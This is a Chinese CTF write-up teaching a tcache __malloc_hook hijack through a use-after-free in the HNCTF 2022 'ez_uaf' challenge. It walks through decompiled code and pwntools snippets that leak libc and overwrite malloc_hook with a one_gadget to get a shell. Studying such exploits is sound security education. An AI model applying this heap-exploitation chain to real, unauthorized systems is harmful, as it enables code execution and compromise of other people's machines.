导论
动调是最好的导师!
malloc_hook函数解析
malloc_hook是malloc的钩子函数,在执行malloc时,会先检测__malloc_hook的值,如果malloc_hook的值存在,则执行该地址(值里边表现为十六进制,可以成为地址),也就是说,如果我们成功劫持malloc_hook以后并修改它的值为one_gadget,我们就能getshell
并且在加入tcache之后,不会对大小进行检测,使我们更好利用它
利用范围
版本:Ubuntu18(加入了tcache,无需伪造size)–Ubuntu20.04
因为22.04删去了几乎所有的钩子函数,使得劫持hook成为了不可能,所以它的试用范围仅限于20.04之前,在未来应该会销声匿迹
它在学堆之后估计就是我们的老朋友的,我们常常能在堆题里看见并利用它,与free_hook和relloc_hook简直是三兄弟
利用思路
修改chunk->fd指向malloc_hook,然后把malloc_hook申请出来成为fake_chunk,再修改fake_chunk的值为one_gadget。修改完毕后记得校准one_gadget,有可能无法生效,毕竟可能不满足one_gadget的生效条件
光说fake_chunk可能会很懵,下面来看看实例罢
例题([HNCTF 2022 WEEK4]ez_uaf)
checksec

堆题是这样的,基本保护全开,但是不打紧
源审

经典菜单题
add
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
| int add() { __int64 v1; int i; unsigned int v3;
for ( i = 0; i <= 15 && heaplist[i]; ++i ) ; if ( i == 16 ) { puts("Full!"); return 0; } else { puts("Size:"); v3 = getnum(); if ( v3 > 0x500 ) { return puts("Invalid!"); } else { heaplist[i] = malloc(0x20uLL); if ( !heaplist[i] ) { puts("Malloc Error!"); exit(1); } v1 = heaplist[i]; *(_QWORD *)(v1 + 16) = malloc((int)v3); if ( !*(_QWORD *)(heaplist[i] + 16LL) ) { puts("Malloc Error!"); exit(1); } *(_DWORD *)(heaplist[i] + 24LL) = v3; puts("Name: "); if ( !(unsigned int)read(0, (void *)heaplist[i], 0x10uLL) ) { puts("Something error!"); exit(1); } puts("Content:"); if ( !(unsigned int)read(0, *(void **)(heaplist[i] + 16LL), *(int *)(heaplist[i] + 24LL)) ) { puts("Error!"); exit(1); } *(_DWORD *)(heaplist[i] + 28LL) = 1; return puts("Done!"); } } }
|
可以看到会申请两个堆块,一个是struct结构体的大小,另一个是content的堆块,struct里有指向content的指针
delete

将add的两个堆块给free,但没有将指针置空,很明显的UAF漏洞
show


很正常的打印函数
edit

编辑content
思路
先申请个0x400的堆块并free掉,使其进入unsorted bin,因为其中只有一个元素,指向自己,会泄露出main_arena(栈地址),在main_arena-0x10处是malloc_hook,接收main_arena后就可以泄露出malloc_hook和libc_base,就可以劫持malloc_hook了,接下来使malloc_hook成为fake_chunk后往里填one_gadget即可
动调过程
泄露libc和malloc_hook
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| def add(size,name,content): p.recvuntil(b'Choice:') p.sendline(b'1') p.recvuntil(b'Size:') p.sendline(str(size)) p.recvuntil(b'Name:') p.send(name) p.recvuntil(b'Content:') p.send(content)
def delete(idx): p.recvuntil(b'Choice:') p.sendline(b'2') p.recvuntil(b'idx:') p.sendline(str(idx))
def show(idx): p.recvuntil(b'Choice:') p.sendline(b'3') p.recvuntil(b'idx:') p.sendline(str(idx))
add(0x410,'Dusk','Falling') add(0x20,'Dawn','Rising') add(0x10 ,'Star','Shining') gdb.attach(p) delete(0) show(0)
main_arena = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 96 log.success('main_arena==>'+hex(main_arena)) malloc_hook = main_arena - 0x10 log.success('malloc_hook==>'+hex(malloc_hook)) libc_base = malloc_hook - libc.symbols['__malloc_hook'] log.success('libc_base==>'+hex(libc_base)) one_gadget = libc_base + 0x10a2fc log.success('one_gadget==>'+hex(one_gadget))
|
free前

free后

可以看到unsorted_bin里已经指向main_arena了,将0堆块show了即可泄露栈地址
伪造fake_chunk和填one_gadget
1 2 3 4 5 6 7 8
| delete(1) edit(1,p64(malloc_hook)) add(0x10,'change','struct') add(0x20,'change','payload') edit(4,p64(one_gadget))
p.sendlineafter(b'Choice:',b'1') p.sendlineafter(b'Size:',b'10')
|
经过两次free后,我们的堆是这样的

此时我们堆块1的content地址是0x55abadf3e720,通过edit我们可以将它的fd指针修改为malloc_hook
edit前


edit后的链表和堆块1content的内容


我们可以看到,堆块1的content的fd指针已经被修改成了malloc_hook,成了实际size为0x20的fake_chunk,那么我们把它申请出来就好。
我们先申请堆块3,链表就变成了这样

至于为什么只申请出了一个堆块,是因为我们申请的content的大小只有0x10(显示0x21)字节。
现在就是申请堆块4把malloc_hook变成fake_chunk。因为两个malloc都是申请size为0x20,刚好使content为fake_chunk,使我们的edit对它有写的权限
先看malloc_hook此时的值,里边的玩意估摸着是我add堆块4的时候弄进去的

OK,我们现在来edit它


和我们的one_gadget一样,我们只需再一次执行malloc就可以getshell了,注意多次调整one_gadget,满足其条件。因为我的本地环境和远端不一样所以没通,其实路子就是这样了
感言
我上网搜的时候感觉看的都是fast_bin的版本,没有怎么搜到tcache的,然后就自己摸索去了,并写出了此篇blog记录tcache的攻击方法。只能说,动调真的是学pwn最重要的东西,是最好的老师!